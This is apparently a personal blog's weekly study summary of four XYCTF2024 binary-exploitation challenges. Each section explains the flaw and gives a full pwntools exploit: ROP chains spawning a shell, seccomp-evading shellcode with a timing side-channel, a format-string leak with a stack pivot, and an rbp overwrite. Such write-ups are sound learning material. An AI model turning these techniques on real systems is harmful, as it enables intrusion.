24-04-01

本周学习总结

终于轮到我打新手赛了。

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、[Easy] – [XYCTF2024]static_link

Check:

64位程序,开启canary和NX。

虽然checksec检查到了canary,但是vuln函数并没有使用canary。我们现在有了0x100 - 0x28 的溢出。

程序中未发现system和”/bin/sh\x00”。

但是由于程序是静态编译的,所以有我们想要的大部分ROP和syscall,我们可以使用shellcode的思路,构造一个ROP版的shellcode。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
p = remote("xyctf.top", 51800)
# p = process("./vuln")
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

pop_rdi = 0x401f1f
pop_rsi = 0x409f8e
pop_rdx = 0x451322
pop_rax = 0x447fe7
syscall = 0x401CD4
bss_addr = 0x4CC820
read_addr = 0x447580

payload = b"A" * 0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi)
payload += p64(bss_addr) + p64(pop_rdx) + p64(0x8) + p64(read_addr)
payload += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3B) + p64(syscall)
# 0x3B是59号调用

print(hex(len(payload)))

sea(b"ret2??\n", payload)
sleep(0.1)
se(b"/bin/sh\x00")
op()

flag:

二、[Medium] – [XYCTF2024]invisible_flag – orw中的orw

check:

64位程序,保护全开。

seccomp:

说个笑话,orw的题,orw都不能用。

execve也被禁用。

ida:

main:

很简单,我们有0x200的可输入可执行代码,输入完后开启沙盒,然后执行我们输入的代码。

对于禁用了open和read的题目,我们可以使用替代函数openat和pread代替。

openat:

rdi = -100(代表当前目录)

rsi = “flag”的地址

rdx= 0(只读方式打开)

rax= 257

pread:

rdi = 3

rsi = buf的地址(数据写入的目标区域)

rdx= 0x30(数字读取的长度)

rcx= 0 (从第0位字符开始读取)

rax=17

对于禁用了write的题目就很麻烦。

这里介绍一种神奇的爆破法:在读取flag到目标内存后,我们通过cmp指令用一个已知字符和flag的第一个字符比较,如果比较相等,就让程序进入死循环,进入死循环的程序不意味着结束,我们就不会收到EOF,然后判断程序在运行中是否卡住3秒以上,如果卡住了,证明flag的第一个字符爆破成功,我们关闭连接,然后重新打开连接开始比较第二个字符,以此类推,直到爆破出所有的flag为止。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
# p = remote("xyctf.top", 50357)
# p = process("./vuln")
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

s = 0
e = 50
flag = ""
i = 0
j = 0

for i in range(s, e):
for j in range(0x20, 0x80):
p = remote("xyctf.top", 50357)
shellcode = asm('''
mov rbx, 0x0000000067616C66
push rbx
mov rdi, -100
mov rsi, rsp
xor rdx, rdx
mov rax, 257
syscall
mov rdi, 3
mov rsi, 0x114514000
mov rdx, 0x30
mov rcx, 0
mov rax, 17
syscall
''')
payload = '''
loop:
mov al, byte ptr [0x114514000 + {0}]
cmp al, {1}
je loop
'''.format(i, j)
sea(b"again\n", shellcode + asm(payload))
begin = time.time()
try:
p.recv(timeout=3)
p.close()
except:
pass
p.close()
end = time.time()
if end - begin > 2:
flag = flag + chr(j)
print(flag)
break
op()

flag:

三、[Medium] – [XYCTF2024]baby_gift – 你刚刚传参了,对吧

check:

64位程序,RELOR全开和NX开启。

ida:

GetInfo:

Gift:

在GetInfo中有0x18的溢出,这个题目最难的部分就是没有任何可用的pop ret 传参代码片段。依次我们没办法通过这种办法来暴露libc的基地址。

对于Gift看起来似乎也没有什么特别的地方。

但是作为pwn手最需要的就是奇思妙想。

我们注意到了Gift汇编代码中有用到了rdi,现在才看出来Gift是传了参数的,而且参数v2是我们可以控制的,但是这有什么用呢?

我们现在可以看看GetInfo处的汇编代码:

在0x401279处有调用了printf,而在Gift结束后rdi的值并没有发生改变,我们可以调用这个printf来实现字符串格式化泄漏获得libc的基地址。

但是这里还有一个问题,如果你随意覆盖rbp的话你的脚本就会卡住,因为0x40128F处因为需要调用fgets,需要通过rbp进行寻址,你必须将rbp劫持到一个可读可写的地址,我看bss段也是风韵犹存。

你可以尝试将执行流返回到main函数,但是我尝试返回的时候是不行的。有可能是栈的原因。

那么此时又有了个新问题,不能返回main函数怎么办?

我们又要掏出那份尘封的技术–栈迁移。

前面我们将rbp劫持到了bss段,而fgets是通过rbp来寻址写入数据的,这样我们就得到了栈迁移的基础。

虽然fgets有0x40的写入,但是我们仍然只有0x18的可执行空间,看起来写pop-rid-system的ROP刚刚好,但是事实并不是这样,在这里的时候刚好没有栈对齐。

那么此时又该怎么办呢?

其实这里我们有了libc基地址,相当于我们有了大量可用的ROP代码片段,而ROP执行的本质决定性控制器是rsp而不是rip,这就意味着如果有一个pop rsp;ret;我们就可以控制跳转地址任意执行一次。如果是这样的话我们fgets前面浪费的0x28地址就可以利用起来了,在前面写上getshell的ROP,然后在后面通过pop rsp;ret;跳到前面去就完美解决,甚至多余0x10字节。

注:bss段地址一定要选偏高的,因为system中有一条指令要求rsp-0x3FF是可读可写区域。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
p = remote("xyctf.top", 38118)
# p = process("./vuln")
# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

sela(b"name:\n", b"A" * 0x18)
payload = b"B" * 0x1B + b"%27$p" + p64(0x404800 + 0x20) + p64(0x401274)
sela(b"passwd:\n", payload)
re(27)

libc_base = int(re(14), 16) - 128 - libc.sym["__libc_start_main"]
ph(libc_base, "libc_base")
rel()

sys_addr = libc_base + libc.sym["system"]
bin_addr = libc_base + next(libc.search(b"/bin/sh\x00"))

pop_rdi = libc_base + 0x2a3e5
pop_rsp = libc_base + 0x35732

payload1 = p64(pop_rdi) + p64(bin_addr) + p64(sys_addr) + p64(0) + p64(0)
payload2 = p64(pop_rsp) + p64(0x404800)

sel(payload1 + payload2)
op()

flag:

四、[Medium] – [XYCTF2024]guestbook1 – 看你运气

check:

64位程序,NX开启。

ida:

main:

init:

GuestBook:

Backdoor:

看起来像是数组溢出,实际上并没有溢出,你不能输入大于32的index,也不能输入小于0的index,输入最大index的32,read的输入大概离rbp还差0x20左右字节,但是scanf的输入刚好只能修改rbp的最后一个字节。

我们可以看看程序在你scanf输入完后rbp的值有什么特点:

“ZZZZZZZZ”是read所输入的,rbp最后一个字节0x80是被修改到的,我们可以看到rbp中的地址和我们read输入到的地址其实差不了多远,而栈地址又是随机变化的,有没有可能在某次运行中rbp刚好指向我们输入“ZZZZZZZZ”的地址,而GuestBook是有一次leave ret的,完成后rbp指向“ZZZZZZZZ”的地址的话,那么在main中还有一次leave ret,此时就将“ZZZZZZZZ”弹入rbp就直接执行backdoor的地址了。

由于地址的随机性,我们需要多次运行脚本才能打通。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
p = remote("xyctf.top", 38389)
# p = process("./vuln")
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

sela(b"index\n", stre(32))
sea(b"name:\n", b"Z" * 0x8 + p64(0x40133A))
sela(b"id:\n", stre(128))
sela(b"index\n", stre(-1))
op()

flag:

下周学习计划

| 应该要做的事情 |

解题,爽!

学习感受

解题,爽!


24-04-01
https://zlsf-zl.github.io/2024/04/01/4-1-4-7/
作者
ZLSF
发布于
2024年4月1日
许可协议